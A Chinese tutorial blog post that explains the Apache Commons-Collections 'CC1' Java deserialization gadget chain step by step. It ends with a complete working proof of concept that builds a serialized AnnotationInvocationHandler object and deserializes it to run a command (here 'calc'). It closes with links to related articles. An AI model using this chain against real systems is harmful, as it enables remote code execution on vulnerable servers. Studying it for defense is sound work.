CC-LINK-one

前言

这里也正式进入的java的反序列化漏洞了,简单介绍一下CC是什么借用一些官方的解释:Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

  • 简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。

整体链子

借助前人挖掘的经验我们直接看到Transformer类

看这个类有个方法返回的是Object和接受参数也是Object,这就代表着对我们传入的类没有进行过滤,可以做一下很简单方便的操作,方便就是安全最大的敌人。

看一下它的实现类ctrl+h

今天的漏洞存在主脚是这个IncokerTransformer这个类

在里面看他的Transformer,就看异常处理前面的这个方法

  public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
} /**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

这就是一个很典型的危险函数,具体调用就是 InvokerTransformer.transform,在类的构造函数里面去获取transform参数值,然后transform用这些方法通过反射调用,然后我们看一下利用过程

构造方法第一个值是String methodName,它是对应着IMethodName就是在反射中的Method method = cls.getMethod(iMethodName, iParamTypes);应该是exec

第二个参数值是paramTypes对应的是iParamTypes也是在Method method = cls.getMethod(iMethodName, iParamTypes);,对应的是getMethod中方法参数值String.class,因为exec对应的就是String

第三个参数args对应的是method.invoke(input, iArgs)就是我们要执行的那个String,然后现在给的值是cacl

我来构成尾部

这里的话我们想一想exec是从Runtime这类下来的所以我们要传入的对象是这个Runtime对象,这个Runtime对象是不支持序列化的,这样的话其实很简单也是我们必须要用的我看一下Runtime这个类有些啥

这方法是一个公开静态的方法,那就很简单了直接用Class就行了Class是可以反序列化的

   public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<Runtime> rumtime = Runtime.class;//获取class类的Runtime。因为class类是可以序列化的
Method getRuntime = rumtime.getMethod("getRuntime",null
);//这儿是获取方法,这个方法是静态公开无参的下面这个要不要的无所谓
getRuntime.setAccessible(true);
Runtime runtime = (Runtime) getRuntime.invoke(null,null);//方法执行,这个方法会返回一个Runrtime对象,这个对象就是我们要传到InvokerTransformer。ttransformer(Obeject obj)这个obj里面
} }

看一下构造,我们要利用InvokerTransformer去获取这个Runtime这个对象

第一步:获取Runtime方法

        Method getRuntime =(Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

其实这个时候我们就已经拿到那个这个getRuntime,我们去掉getRuntime这个对象的invoke方法去获取一个Runtime对象这里充分体现了一个万物的思想,类是我们的对象我们调用它的方法

        Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);

获取到Runtime对象之后,我们就去调用它的的exec然后去调用计算器试试

        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

这里其实就完成了第一个,就是说我们的链子的尾巴找到了。

我来构成身体

搞定前面那个部分,我们已经拿到了最重要的威胁函数,接下来就是找利用链子了,最终是找一个可以重写的readObject对象去调用到我们这个函数。

然后开始全局找一个不同名的函数去调用一下transform,这样我们就可以跳到别的类,函数方便去寻找readObject

在这个map包下面发现很多不同名的函数调用了transform

然后看到了这个checkSetVakue()这个函数

它是一个protected修饰的方法,所以看一下它的构造函数

这个构造函数看起来就是一个类似于装饰器,对一个map的key和value的进行操作,静态代理嘛。

这是一个保护的方法看一下同类下的方法调用

 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

知道这个调用了还是试一下用这个去调我们的transfomer,到这里还是要归纳一下这个利用流程。

我们要调用的是我们构造的InvokerTransformer的transform()方法,然后我们在decorate方法中发现对我们的transformer有调用,然后追踪到checkvalue会对我们的transform调用transform(),但是对transform的调用的值是value我们要看看这个value我们怎么调用

通过追踪调用,看一下追出的函数是一个setValue

然后这个parent这个属性的调用是在上面那个MapEntry方法调用,什么是MapEnty是在hashMap的遍历循环的时候每一个键值对就是一个MapEntry

这里的setValue就是那个map的setvalue,它相当于是重写了这个方法,利用流程就是我们遍历HashMap然后去setvalue-checkvalue-transform

看一下没有反序列化的代码

public class demo2 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<Runtime> rumtime = Runtime.class;
Runtime r = Runtime.getRuntime();
InvokerTransformer execMethod = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
execMethod.transform(r);
HashMap<Object, Object> map = new HashMap<>();
map.put("key","aaa");
Map<Object,Object> decoratemap = TransformedMap.decorate(map, null, execMethod);
for(Map.Entry entry:decoratemap.entrySet()){
entry.setValue(r);
}
}
}

我来构成头部

接着往下走,我们已经找到这个map的setvalue去触发这个类了我们要去最后的一个目标一个readObjet调用Map的循环,然后调用一个setvalue

看这个setvalue刚刚好在一个readObject中,一个私有的类,只能通过反射来调用

 Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, decoratemap);

这样就能把这个对象构造出来,到这里这个利用链已经写完了,接下来就是解决一些中途调用的问题。

首先是我们在应对Runtime对象无法序列化的问题是利用transform方法就行循环调用,然后我们在开始的时候就发现过一个循环调用的方法就是利用ChainedTransformer这个数组循环调用

public class demo1 {

    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// Class<Runtime> rumtime = Runtime.class;
// Method getRuntime =(Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class); } }

调用到这里我们的链子已经差不多完成了,再往回看一点,这里我们因为是链式调用嘛我吗要传入第一个setvalue必须是必须是Runtime.class,还有在readObject里面有一些很判断的条件

 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}

下个断点进行一下调试

这个判断过程是这样的它会去获取我们传入第一个参数就是那个注解的参数名称然后通过那个参数名称去获取map中的值,要那个值不为空,就是我们传入的map的key值那个字符串要跟传入的注解里面那个参数值有相同的

然后这里它的setvalue

接收的是一个AnntationTypeMismatchExceptionProxy

这里调用的checkvalue的value值是一个动态代理的处理器对象

然后这里是我们的命令执行的入口,就这个checkSetValue,然后它第一次调用的是它那个动态代理的处理器,而我们的入口要的是Runtime.class对象这里执行的是也是transform方法

然后我们在前面有一个鸡肋的transform方法这个时候就有用处了

这个ConstantTransformer这个类它的transform方法是一个接收构造函数的参数然后返回值就是构造函数的那个参数,这里我们就可以用它来跳过那个构造器,我们直接用它来构造我们需要的那个Runtime.class对象

完整poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map; public class demo1 { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
// Class<Runtime> rumtime = Runtime.class;
// Method getRuntime =(Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","aaa");
Map<Object,Object> decoratemap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decoratemap);
serialize(o);
unseriallize("src.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("src.bin"));
oos.writeObject(obj);
}
public static Object unseriallize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

总结

这条链子的总体利用发现和利用过程的就是真的巧妙到了不能再巧妙了,然后自己简单的归纳了一下触发的流程

AnnotationInvocationHandler#{readObject}
AbstractInputCheckedMapDecorator#{setValue}
HashMap控制中间的某个if语句和进入MapEntry方法
(ConstantTransformer)用来控制setvalue的第一个方法
TransformedMap#{checkSetValue}
(ChainedTransformer)这个类用来循环调用InvokerTransformerd.transform()
InvokerTransformer#{transform}

java反序列化漏洞cc_link_one的更多相关文章

  1. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  2. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  3. WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)

    10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...

  4. Java反序列化漏洞实现

    一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...

  5. java反序列化漏洞原理研习

    零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...

  6. Java反序列化漏洞之殇

    ref:https://xz.aliyun.com/t/2043 小结: 3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景 在java编写的 ...

  7. java 反序列化漏洞检测及修复

    Jboss.Websphere和weblogic的反序列化漏洞已经出来一段时间了,还是有很多服务器没有解决这个漏洞: 反序列化漏洞原理参考:JAVA反序列化漏洞完整过程分析与调试 这里参考了网上的 J ...

  8. Java反序列化漏洞的挖掘、攻击与防御

    一.Java反序列化漏洞的挖掘 1.黑盒流量分析: 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输.因而在流量中有一 ...

  9. Lib之过?Java反序列化漏洞通用利用分析

    转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...

随机推荐

  1. 动态规划——leetcode55、跳跃游戏

    1.题目描述:  2.解题方法:动态规划 动态规划解题步骤: 1.确定状态: 最后一步:如果能跳到最后一个下标,我们考虑他的最后一步到n-1(最后一个下标),这一步是从 i 跳过来的,i<n-1 ...

  2. JavaScript之数组常用API

    这篇文章主要帮助大家简单理解数组的一些常用API用法,许多小伙伴常用方法记不住?别急,看完下面的介绍您一定就会明白各个方法是如何用的了.该文章适合新手小白看,大佬可以多多指点️! 1.数组的创建以及A ...

  3. atcoder beginner contest 251(D-E)

    Tasks - Panasonic Programming Contest 2022(AtCoder Beginner Contest 251)\ D - At Most 3 (Contestant ...

  4. 第四十篇:Vue的生命周期(一)

    好家伙,军训结束了,回归 Vue实例的生命周期 1.什么是生命周期? 从Vue实例创建,运行到销毁期间总是伴随着各种各样的事件,这些事件,统称为生命周期. 2.什么是生命周期钩子? 生命周期函数的别称 ...

  5. KingbaseES V8R6备份恢复案例之---同一数据库创建不同stanza备份

    案例说明: 在生产环境,有的应用需要调用数据库的sys_rman做备份,为了区分数据库自身的sys_rman备份和应用的备份,可以使用不同的stanza name创建备份.本案例介绍了,如何在King ...

  6. mocha、chai和supertest单元测试

    mocha单元测试 1. 因为有时候在代码中加了新的东西需要反复测试接口 或者 别人要求 重新跑接口非常的繁琐 2. 所有我们需要一个帮我们重复测试的东西  那就是mocha 3. 先下载 一定不要全 ...

  7. Exchange 2019中启用自动转发到外部域

    今天遇到一个用户反映自动转发的邮件规则没有生效.检查了一下,邮件规则配置没有问题.用户邮箱也能正常收到邮件,但是就是没有转发出去.仔细检查邮件规则,转发的收件人是外部邮箱.Exchange出于安全考虑 ...

  8. 基于electron+vue+element构建项目模板之【自定义标题栏&右键菜单项篇】

    1.概述 开发平台OS:windows 开发平台IDE:vs code 本篇章将介绍自定义标题栏和右键菜单项,基于electron现有版本安全性的建议,此次的改造中主进程和渲染进程彼此语境隔离,通过预 ...

  9. Elasticsearch:mapping定制

  10. 关于多个 Kubernetes 集群指标的采集操作

    简介 在使用观测云期间,有时需要针对一个工作空间接入多个 Kubernetes 集群指标,通过观测云提供的全局 Tag 的方式来进行区分,大大提高了效率.下面是我总结的操作步骤. 当集群中只有一个采集 ...